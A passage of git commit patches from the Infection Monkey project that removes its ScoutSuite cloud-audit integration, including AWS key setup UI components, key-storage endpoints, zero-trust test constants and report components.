setSuccessMessage('AWS keys saved!'); - } else if (res['message'] === 'Internal Server Error') { - setErrorMessage('Something went wrong, double check keys and contact support if problem persists.'); - } else { - setErrorMessage(res['error_msg']); - } - }); - } - - useEffect(() => { - authComponent.authFetch('/api/aws_keys') - .then(res => res.json()) - .then(res => { - setAccessKeyId(res['access_key_id']); - setSecretAccessKey(res['secret_access_key']); - setSessionToken(res['session_token']); - }); - }, [props]); - - - // TODO separate into standalone component - function getKeyCreationDocsContent() { - return ( -
    -
    Tips
    -

    Consider creating a new user account just for this activity. Assign only ReadOnlyAccess and  - SecurityAudit policies.

    - -
    Keys for custom user
    -

    1. Open the IAM console at https://console.aws.amazon.com/iam/.

    -

    2. In the navigation pane, choose Users.

    -

    3. Choose the name of the user whose access keys you want to create, and then choose the Security credentials - tab.

    -

    4. In the Access keys section, choose Create Access key.

    -

    To view the new access key pair, choose Show. Your credentials will look something like this:

    -

    Access key ID: AKIAIOSFODNN7EXAMPLE

    -

    Secret access key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

    - - - - - - -
    Keys for current user
    -

    1. Click on your username in the upper right corner.

    -

    2. Click on "My security credentials".

    -

    3. In the Access keys section, choose Create Access key.

    -

    To view the new Access key pair, choose Show. Your credentials will look something like this:

    -

    Access key ID: AKIAIOSFODNN7EXAMPLE

    -

    Secret access key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

    - - - - - -
    ); - } - - function getKeyCreationDocs() { - return ( -
    - - -
    ); - } - - return ( -
    - {getKeyCreationDocs()} -
    - setAccessKeyId(evt.target.value)} - type='text' - placeholder='Access key ID' - value={accessKeyId}/> - setSecretAccessKey(evt.target.value)} - type='password' - placeholder='Secret access key' - value={secretAccessKey}/> - setSessionToken(evt.target.value)} - type='text' - placeholder='Session token (optional, only for temp. keys)' - value={sessionToken}/> - { - errorMessage ? -
    {errorMessage}
    - : - '' - } - { - successMessage ? -
    {successMessage}  - Go back and  - to start AWS scan!
    - : - '' - } - - - - - - -
    - ); -} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js deleted file mode 100644 index a66a893d8..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js +++ /dev/null @@ -1,40 +0,0 @@ -import React from 'react'; -import InlineSelection from '../../../../ui-components/inline-selection/InlineSelection'; -import NextSelectionButton from '../../../../ui-components/inline-selection/NextSelectionButton'; -import {faKey, faTerminal} from '@fortawesome/free-solid-svg-icons'; -import AWSCLISetup from './AWSCLISetup'; -import CloudOptions from '../CloudOptions'; -import AWSKeySetup from './AWSKeySetup'; - - -const AWSSetupOptions = (props) => { - return InlineSelection(getContents, { - ...props, - onBackButtonClick: () => { - props.setComponent(CloudOptions, props); - } - }) -} - -const getContents = (props) => { - return ( - <> - { - props.setComponent(AWSKeySetup, - {setComponent: props.setComponent}) - }}/> - { - props.setComponent(AWSCLISetup, - {setComponent: props.setComponent}) - }}/> - - ) -} - -export default AWSSetupOptions; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js deleted file mode 100644 index bd9c83f04..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js +++ /dev/null @@ -1,65 +0,0 @@ -import React, {useEffect, useState} from 'react'; -import InlineSelection from '../../../ui-components/inline-selection/InlineSelection'; -import NextSelectionButton from '../../../ui-components/inline-selection/NextSelectionButton'; -import {faCheck, faCloud, faSync} from '@fortawesome/free-solid-svg-icons'; -import AWSSetupOptions from './AWSConfiguration/AWSSetupOptions'; -import {PROVIDERS} from './ProvidersEnum'; -import AuthComponent from '../../../AuthComponent'; - - -const CloudOptions = (props) => { - return InlineSelection(getContents, { - ...props, - onBackButtonClick: () => { - props.setComponent() - } - }) -} - -const authComponent = new AuthComponent({}) - -const getContents = (props) => { - - const [description, setDescription] = useState('Loading...'); - const [iconType, setIconType] = useState('spinning-icon'); - const [icon, setIcon] = useState(faSync); - - useEffect(() => { - authComponent.authFetch('/api/scoutsuite_auth/' + PROVIDERS.AWS) - .then(res => res.json()) - .then(res => { - if(res.is_setup){ - setDescription(getDescription(res.message)); - setIconType('icon-success'); - setIcon(faCheck); - } else { - setDescription('Setup Amazon Web Services infrastructure scan.'); - setIconType('') - setIcon(faCloud); - } - }); - }, [props]); - - function getDescription(message){ - return ( - <> - {message} Run from the Island to start the scan. Click next to change the configuration. - - ) - } - - return ( - <> - { - props.setComponent(AWSSetupOptions, - {setComponent: props.setComponent}) - }}/> - - ) -} - -export default CloudOptions; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/ProvidersEnum.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/ProvidersEnum.js deleted file mode 100644 index 26bb87860..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/ProvidersEnum.js +++ /dev/null @@ -1,9 +0,0 @@ -// Should match enum in monkey/common/cloud/scoutsuite_consts.py - -export const PROVIDERS = { - AWS : 'aws', - AZURE : 'azure', - GCP : 'gcp', - ALIBABA : 'aliyun', - ORACLE : 'oci' -} From 88f156ea40de92f441b874bc87bd882b521768ef Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 3 Feb 2022 14:33:04 +0530 Subject: [PATCH 0331/1110] UI: Rename function in RunOptions.js more appropriately --- .../cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index 080a85df4..e01b55789 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -55,8 +55,7 @@ function RunOptions(props) { return InlineSelection(defaultContents, newProps); } - // TODO: Change function name - function shouldShowScoutsuite(islandMode){ + function isNotRansomware(islandMode){ return islandMode !== 'ransomware'; } @@ -73,7 +72,7 @@ function RunOptions(props) { setComponent(LocalManualRunOptions, {ips: ips, setComponent: setComponent}) }}/> - {shouldShowScoutsuite(props.islandMode) && } + {isNotRansomware(props.islandMode) && } ); } From 7243406b06b1dbf21506c8e88db0db3468783fa9 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 3 Feb 2022 15:04:06 +0530 Subject: [PATCH 0332/1110] Island: Remove endpoints/resources/services related to Scoutsuite --- monkey/monkey_island/cc/app.py | 4 -- .../zero_trust/scoutsuite_auth/aws_keys.py | 10 ---- .../scoutsuite_auth/scoutsuite_auth.py | 37 ------------ .../scoutsuite/scoutsuite_auth_service.py | 58 ------------------- 4 files changed, 109 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py delete mode 100644 monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index ead2ec327..d7a8227fb 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -46,8 +46,6 @@ from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.version_update import VersionUpdate from monkey_island.cc.resources.zero_trust.finding_event import ZeroTrustFindingEvent -from monkey_island.cc.resources.zero_trust.scoutsuite_auth.aws_keys import AWSKeys -from monkey_island.cc.resources.zero_trust.scoutsuite_auth.scoutsuite_auth import ScoutSuiteAuth from monkey_island.cc.resources.zero_trust.zero_trust_report import ZeroTrustReport from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.server_utils.custom_json_encoder import CustomJSONEncoder @@ -168,8 +166,6 @@ def init_api_resources(api): api.add_resource(VersionUpdate, "/api/version-update") api.add_resource(StopAgentCheck, "/api/monkey_control/needs-to-stop/") api.add_resource(StopAllAgents, "/api/monkey_control/stop-all-agents") - api.add_resource(ScoutSuiteAuth, "/api/scoutsuite_auth/") - api.add_resource(AWSKeys, "/api/aws_keys") # Resources used by black box tests api.add_resource(MonkeyBlackboxEndpoint, "/api/test/monkey") diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py deleted file mode 100644 index 174e02843..000000000 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py +++ /dev/null @@ -1,10 +0,0 @@ -import flask_restful - -from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import get_aws_keys - - -class AWSKeys(flask_restful.Resource): - @jwt_required - def get(self): - return get_aws_keys() diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py deleted file mode 100644 index 5197b1972..000000000 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py +++ /dev/null @@ -1,37 +0,0 @@ -import json - -import flask_restful -from flask import request - -from common.cloud.scoutsuite_consts import CloudProviders -from common.utils.exceptions import InvalidAWSKeys -from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( - is_cloud_authentication_setup, - set_aws_keys, -) - - -class ScoutSuiteAuth(flask_restful.Resource): - @jwt_required - def get(self, provider: CloudProviders): - if provider == CloudProviders.AWS.value: - is_setup, message = is_cloud_authentication_setup(provider) - return {"is_setup": is_setup, "message": message} - else: - return {"is_setup": False, "message": ""} - - @jwt_required - def post(self, provider: CloudProviders): - key_info = json.loads(request.data) - error_msg = "" - if provider == CloudProviders.AWS.value: - try: - set_aws_keys( - access_key_id=key_info["accessKeyId"], - secret_access_key=key_info["secretAccessKey"], - session_token=key_info["sessionToken"], - ) - except InvalidAWSKeys as e: - error_msg = str(e) - return {"error_msg": error_msg} diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py deleted file mode 100644 index b54b3252c..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ /dev/null @@ -1,58 +0,0 @@ -from typing import Tuple - -from ScoutSuite.providers.base.authentication_strategy import AuthenticationException - -from common.cloud.scoutsuite_consts import CloudProviders -from common.config_value_paths import AWS_KEYS_PATH -from common.utils.exceptions import InvalidAWSKeys -from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.services.config import ConfigService - - -def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: - if provider == CloudProviders.AWS.value: - if is_aws_keys_setup(): - return True, "AWS keys already setup." - - import ScoutSuite.providers.aws.authentication_strategy as auth_strategy - - try: - profile = auth_strategy.AWSAuthenticationStrategy().authenticate() - return True, f' Profile "{profile.session.profile_name}" is already setup. ' - except AuthenticationException: - return False, "" - - -def is_aws_keys_setup(): - return ConfigService.get_config_value( - AWS_KEYS_PATH + ["aws_access_key_id"] - ) and ConfigService.get_config_value(AWS_KEYS_PATH + ["aws_secret_access_key"]) - - -def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str): - if not access_key_id or not secret_access_key: - raise InvalidAWSKeys( - "Missing some of the following fields: access key ID, secret access key." - ) - _set_aws_key("aws_access_key_id", access_key_id) - _set_aws_key("aws_secret_access_key", secret_access_key) - _set_aws_key("aws_session_token", session_token) - - -def _set_aws_key(key_type: str, key_value: str): - path_to_keys = AWS_KEYS_PATH - encrypted_key = get_datastore_encryptor().encrypt(key_value) - ConfigService.set_config_value(path_to_keys + [key_type], encrypted_key) - - -def get_aws_keys(): - return { - "access_key_id": _get_aws_key("aws_access_key_id"), - "secret_access_key": _get_aws_key("aws_secret_access_key"), - "session_token": _get_aws_key("aws_session_token"), - } - - -def _get_aws_key(key_type: str): - path_to_keys = AWS_KEYS_PATH - return ConfigService.get_config_value(config_key_as_arr=path_to_keys + [key_type]) From cb6bafa64a6947b66913bb54723a290228b5e87f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 3 Feb 2022 15:21:56 +0530 Subject: [PATCH 0333/1110] Common: Remove Scoutsuite constants --- monkey/common/cloud/scoutsuite_consts.py | 5 -- .../common/common_consts/zero_trust_consts.py | 85 ------------------- 2 files changed, 90 deletions(-) delete mode 100644 monkey/common/cloud/scoutsuite_consts.py diff --git a/monkey/common/cloud/scoutsuite_consts.py b/monkey/common/cloud/scoutsuite_consts.py deleted file mode 100644 index e2d0c1664..000000000 --- a/monkey/common/cloud/scoutsuite_consts.py +++ /dev/null @@ -1,5 +0,0 @@ -from enum import Enum - - -class CloudProviders(Enum): - AWS = "aws" diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py index 245884e4a..3f2633b01 100644 --- a/monkey/common/common_consts/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -41,13 +41,6 @@ TEST_MALICIOUS_ACTIVITY_TIMELINE = "malicious_activity_timeline" TEST_SEGMENTATION = "segmentation" TEST_TUNNELING = "tunneling" TEST_COMMUNICATE_AS_BACKDOOR_USER = "communicate_as_backdoor_user" -TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES = "scoutsuite_permissive_firewall_rules" -TEST_SCOUTSUITE_UNENCRYPTED_DATA = "scoutsuite_unencrypted_data" -TEST_SCOUTSUITE_DATA_LOSS_PREVENTION = "scoutsuite_data_loss_prevention" -TEST_SCOUTSUITE_SECURE_AUTHENTICATION = "scoutsuite_secure_authentication" -TEST_SCOUTSUITE_RESTRICTIVE_POLICIES = "scoutsuite_unrestrictive_policies" -TEST_SCOUTSUITE_LOGGING = "scoutsuite_logging" -TEST_SCOUTSUITE_SERVICE_SECURITY = "scoutsuite_service_security" TESTS = ( TEST_SEGMENTATION, @@ -59,13 +52,6 @@ TESTS = ( TEST_DATA_ENDPOINT_ELASTIC, TEST_TUNNELING, TEST_COMMUNICATE_AS_BACKDOOR_USER, - TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES, - TEST_SCOUTSUITE_UNENCRYPTED_DATA, - TEST_SCOUTSUITE_DATA_LOSS_PREVENTION, - TEST_SCOUTSUITE_SECURE_AUTHENTICATION, - TEST_SCOUTSUITE_RESTRICTIVE_POLICIES, - TEST_SCOUTSUITE_LOGGING, - TEST_SCOUTSUITE_SERVICE_SECURITY, ) PRINCIPLE_DATA_CONFIDENTIALITY = "data_transit" @@ -219,77 +205,6 @@ TESTS_MAP = { PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, - TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES: { - TEST_EXPLANATION_KEY: "ScoutSuite assessed cloud firewall rules and settings.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found overly permissive firewall rules.", - STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules.", - }, - PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, - PILLARS_KEY: [NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, - TEST_SCOUTSUITE_UNENCRYPTED_DATA: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for resources containing " "unencrypted data.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found resources with unencrypted data.", - STATUS_PASSED: "ScoutSuite found no resources with unencrypted data.", - }, - PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, - PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, - TEST_SCOUTSUITE_DATA_LOSS_PREVENTION: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for resources which are not " - "protected against data loss.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found resources not protected against data loss.", - STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss.", - }, - PRINCIPLE_KEY: PRINCIPLE_DISASTER_RECOVERY, - PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, - TEST_SCOUTSUITE_SECURE_AUTHENTICATION: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for issues related to users' " "authentication.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found issues related to users' authentication.", - STATUS_PASSED: "ScoutSuite found no issues related to users' authentication.", - }, - PRINCIPLE_KEY: PRINCIPLE_SECURE_AUTHENTICATION, - PILLARS_KEY: [PEOPLE, WORKLOADS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, - TEST_SCOUTSUITE_RESTRICTIVE_POLICIES: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for permissive user access " "policies.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found permissive user access policies.", - STATUS_PASSED: "ScoutSuite found no issues related to user access policies.", - }, - PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, - PILLARS_KEY: [PEOPLE, WORKLOADS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, - TEST_SCOUTSUITE_LOGGING: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for issues, related to logging.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found logging issues.", - STATUS_PASSED: "ScoutSuite found no logging issues.", - }, - PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, - PILLARS_KEY: [AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, - TEST_SCOUTSUITE_SERVICE_SECURITY: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for service security issues.", - FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "ScoutSuite found service security issues.", - STATUS_PASSED: "ScoutSuite found no service security issues.", - }, - PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, - PILLARS_KEY: [DEVICES, NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], - }, } EVENT_TYPE_MONKEY_NETWORK = "monkey_network" From 9dc0a6ed6f8c47d26628725219601da3a935ecb9 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 3 Feb 2022 15:44:17 +0530 Subject: [PATCH 0334/1110] Project: Remove removed Scoutsuite constants from Vulture allowlist --- vulture_allowlist.py | 26 -------------------------- 1 file changed, 26 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index d9ae1d8af..1cb2e426c 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -136,32 +136,6 @@ pytest_addoption # unused function (envs/os_compatibility/conftest.py:4) pytest_addoption # unused function (envs/monkey_zoo/blackbox/conftest.py:4) pytest_runtest_setup # unused function (envs/monkey_zoo/blackbox/conftest.py:47) config_value_list # unused variable (envs/monkey_zoo/blackbox/config_templates/smb_pth.py:10) -_.dashboard_name # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:13) -_.checked_items # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:14) -_.flagged_items # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:15) -_.rationale # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:17) -_.remediation # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:18) -_.compliance # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:19) -_.references # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:20) -ACM # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:8) -AWSLAMBDA # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:9) -DIRECTCONNECT # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:14) -EFS # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:16) -ELASTICACHE # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:17) -EMR # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:20) -KMS # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:22) -ROUTE53 # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:25) -SECRETSMANAGER # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:31) -RDS_SNAPSHOT_PUBLIC # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py:17) -dashboard_name # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:18) -checked_items # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:19) -flagged_items # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:20) -rationale # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:22) -remediation # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:23) -compliance # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:24) -references # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:25) -ALIBABA # unused variable (monkey/common/cloud/scoutsuite_consts.py:8) -ORACLE # unused variable (monkey/common/cloud/scoutsuite_consts.py:9) ALIBABA # unused variable (monkey/common/cloud/environment_names.py:10) IBM # unused variable (monkey/common/cloud/environment_names.py:11) DigitalOcean # unused variable (monkey/common/cloud/environment_names.py:12) From c0d1df62528384bf52f40b9f67b64a72649628ec Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 3 Feb 2022 15:57:44 +0530 Subject: [PATCH 0335/1110] UI: Remove Scoutsuite reporting --- .../cc/ui/src/components/pages/ReportPage.js | 7 +- .../report-components/ZeroTrustReport.js | 6 +- .../zerotrust/FindingsSection.js | 3 - .../zerotrust/FindingsTable.js | 16 +-- .../zerotrust/scoutsuite/ResourceDropdown.js | 84 ------------- .../zerotrust/scoutsuite/RuleDisplay.js | 70 ----------- .../scoutsuite/ScoutSuiteDataParser.js | 118 ------------------ .../scoutsuite/ScoutSuiteRuleButton.js | 46 ------- .../scoutsuite/ScoutSuiteRuleModal.js | 94 -------------- .../ScoutSuiteSingleRuleDropdown.js | 79 ------------ .../scoutsuite/rule-parsing/ParsingUtils.js | 40 ------ .../monkey_island/cc/ui/src/styles/Main.scss | 1 - .../components/scoutsuite/AWSSetup.scss | 86 ------------- .../scoutsuite/ResourceDropdown.scss | 21 ---- .../components/scoutsuite/RuleDisplay.scss | 21 ---- .../components/scoutsuite/RuleModal.scss | 9 -- 16 files changed, 8 insertions(+), 693 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleModal.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteSingleRuleDropdown.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js delete mode 100644 monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss delete mode 100644 monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/ResourceDropdown.scss delete mode 100644 monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleDisplay.scss delete mode 100644 monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/RuleModal.scss diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 65707574e..85f02873a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -71,7 +71,7 @@ class ReportPageComponent extends AuthComponent { } getZeroTrustReportFromServer = async () => { - let ztReport = {findings: {}, principles: {}, pillars: {}, scoutsuite_data: {}}; + let ztReport = {findings: {}, principles: {}, pillars: {}}; await this.authFetch('/api/report/zero-trust/findings') .then(res => res.json()) .then(res => { @@ -87,11 +87,6 @@ class ReportPageComponent extends AuthComponent { .then(res => { ztReport.pillars = res; }); - await this.authFetch('/api/report/zero-trust/scoutsuite') - .then(res => res.json()) - .then(res => { - ztReport.scoutsuite_data = res; - }); return ztReport }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js index b400b3418..b4140df14 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js @@ -30,8 +30,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { + findings={this.state.findings}/> ; } @@ -59,8 +58,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { stillLoadingDataFromServer() { return typeof this.state.findings === 'undefined' || typeof this.state.pillars === 'undefined' - || typeof this.state.principles === 'undefined' - || typeof this.state.scoutsuite_data === 'undefined'; + || typeof this.state.principles === 'undefined'; } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index eb8231441..8147d4910 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -33,13 +33,10 @@ class FindingsSection extends Component {

    ); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 657ad741e..d62316f71 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -4,7 +4,6 @@ import PaginatedTable from '../common/PaginatedTable'; import * as PropTypes from 'prop-types'; import PillarLabel from './PillarLabel'; import EventsButton from './EventsButton'; -import ScoutSuiteRuleButton from './scoutsuite/ScoutSuiteRuleButton'; const EVENTS_COLUMN_MAX_WIDTH = 180; const PILLARS_COLUMN_MAX_WIDTH = 260; @@ -36,16 +35,11 @@ export class FindingsTable extends Component { ]; getFindingDetails(finding) { - if ('scoutsuite_rules' in finding.details) { - return ; - } else { - return ; - } + return ; } getFindingPillars(finding) { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js deleted file mode 100644 index 81aee324e..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js +++ /dev/null @@ -1,84 +0,0 @@ -import React, {useState} from 'react'; -import * as PropTypes from 'prop-types'; -import '../../../../styles/components/scoutsuite/RuleDisplay.scss' -import classNames from 'classnames'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown'; -import {faChevronUp} from '@fortawesome/free-solid-svg-icons/faChevronUp'; -import ScoutSuiteDataParser from './ScoutSuiteDataParser'; -import Collapse from '@kunukn/react-collapse'; -import {faArrowRight} from '@fortawesome/free-solid-svg-icons'; - -export default function ResourceDropdown(props) { - - const [isCollapseOpen, setIsCollapseOpen] = useState(false); - let parser = new ScoutSuiteDataParser(props.scoutsuite_data.data.services); - let resource_value = parser.getResourceValue(props.resource_path, props.template_path); - - function 